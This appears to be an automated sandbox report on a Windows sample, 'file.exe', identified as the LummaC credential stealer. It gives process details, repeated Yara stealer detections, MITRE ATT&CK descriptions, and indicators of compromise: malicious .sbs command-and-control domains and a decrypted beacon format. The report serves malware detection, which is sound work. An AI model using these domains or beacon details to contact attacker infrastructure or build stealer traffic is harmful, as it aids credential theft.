2024-11-22 00:03:22 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 22 Nov 2024 00:03:22 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: f3f6636c-f01e-003c-1d76-3b8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241122T000322Z-174c587ffdf9xbcchC1TEBxkz400000000dg000000002cgr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-22 00:03:22 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Target ID:	0
Start time:	19:02:17
Start date:	21/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x760000
File size:	1'889'792 bytes
MD5 hash:	E5569B9B9AF1799AEEAC81BC32DD8A1A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1481913263.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1480903921.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1481788169.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1408418998.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1482199863.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1479733246.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1431407480.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1480175831.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1482141402.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1481170301.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1480846306.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1405046358.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1480497911.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1404797585.0000000000D99000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1481419256.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1480789721.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1481105021.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1478451458.0000000000D89000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1404763527.0000000000D86000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1454766958.0000000000D99000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1431979951.0000000000D99000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1482398386.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1479944763.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1482560101.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1480395185.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1480442489.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1482270321.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1480656259.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1481284524.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1479679719.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1482338604.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1481660981.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1481485378.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1481547322.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1480124631.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1481601553.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1480070005.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1481224363.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1482025644.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1479618526.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1479518501.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1481966600.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1455104063.0000000000D99000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1481854117.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1480725822.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1479999865.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1479780165.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1454734940.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1480336128.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1479830355.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1480280700.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1454569653.0000000000D8A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1481035773.0000000000D8B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	19:02:53
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	19:02:54
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1924,i,2095106671095358693,17802434904325068709,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	19:02:57
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	19:02:57
Start date:	21/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1916,i,16216201613498523600,2861810971136064477,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 00D90A22 Relevance: 13.2, Strings: 10, Instructions: 692COMMON

Download Yara Rule

Strings

0&re, xrefs: 00D90B07
940&, xrefs: 00D90B79
9999, xrefs: 00D90D9A
3neh, xrefs: 00D90D51
TCP&, xrefs: 00D90AE7
8640, xrefs: 00D90B98
1788, xrefs: 00D90B41
230&, xrefs: 00D90B4D
"?pr, xrefs: 00D90ADF
a319, xrefs: 00D90B65

Memory Dump Source

Source File: 00000000.00000003.1583690550.0000000000D7F000.00000004.00000020.00020000.00000000.sdmp, Offset: 00D7F000, based on PE: false

Associated: 00000000.00000003.1675911487.0000000000D8D000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_d7f000_file.1.jbxd

Similarity

API ID:
String ID: "?pr$0&re$1788$230&$3neh$8640$940&$9999$TCP&$a319
API String ID: 0-716700988
Opcode ID: 3eeec882ec6414d07470607d98add7c85ff4c0ff6847d507e2f24351c8c3a2be
Instruction ID: f109b4f347c8d0976962f1fe5f6d0b4dc51cb16999eb65baf7bdf74b0d4cc5e0
Opcode Fuzzy Hash: 3eeec882ec6414d07470607d98add7c85ff4c0ff6847d507e2f24351c8c3a2be
Instruction Fuzzy Hash: 7D2258220097D15ECF269FB8B7A95A27FA5FE5371472C09DED4C14E833C211AA42D37A

Function 00D43809 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1583514440.0000000000D31000.00000004.00000020.00020000.00000000.sdmp, Offset: 00D31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_d31000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dbad5432a0545a2b0250ba07f916250772fde9fe84ad8d8a0efdf59ffe0dd82
Instruction ID: f4054a1fda8835b4c9b9f7a888759a2248b0f0f27b1aa456b483ed1d545aba7a
Opcode Fuzzy Hash: 4dbad5432a0545a2b0250ba07f916250772fde9fe84ad8d8a0efdf59ffe0dd82
Instruction Fuzzy Hash: FE2134611092D48FC307CF38D494A82BFA1FF8B31639E40DCD8C18F427C2A56542CB52

Source: https://cook-rain.sbs/ers	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apivL	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/9	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/h	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/a	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/Z	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/T	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/s	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/api.m	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/-l	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/%	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apiqjf	Avira URL Cloud: Label: malware

Source: https://cook-rain.sbs/9	Virustotal: Detection: 13%			Perma Link
Source: https://cook-rain.sbs/h	Virustotal: Detection: 9%			Perma Link

Source: 00000000.00000002.1737133732.0000000000761000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p3ar11fter.sbs
Source: 00000000.00000002.1737133732.0000000000761000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 3xp3cts1aim.sbs
Source: 00000000.00000002.1737133732.0000000000761000.00000040.00000001.01000000.00000003.sdmp	String decryptor: peepburry828.sbs
Source: 00000000.00000002.1737133732.0000000000761000.00000040.00000001.01000000.00000003.sdmp	String decryptor: p10tgrace.sbs
Source: 00000000.00000002.1737133732.0000000000761000.00000040.00000001.01000000.00000003.sdmp	String decryptor: processhol.sbs
Source: 00000000.00000002.1737133732.0000000000761000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1737133732.0000000000761000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1737133732.0000000000761000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1737133732.0000000000761000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1737133732.0000000000761000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

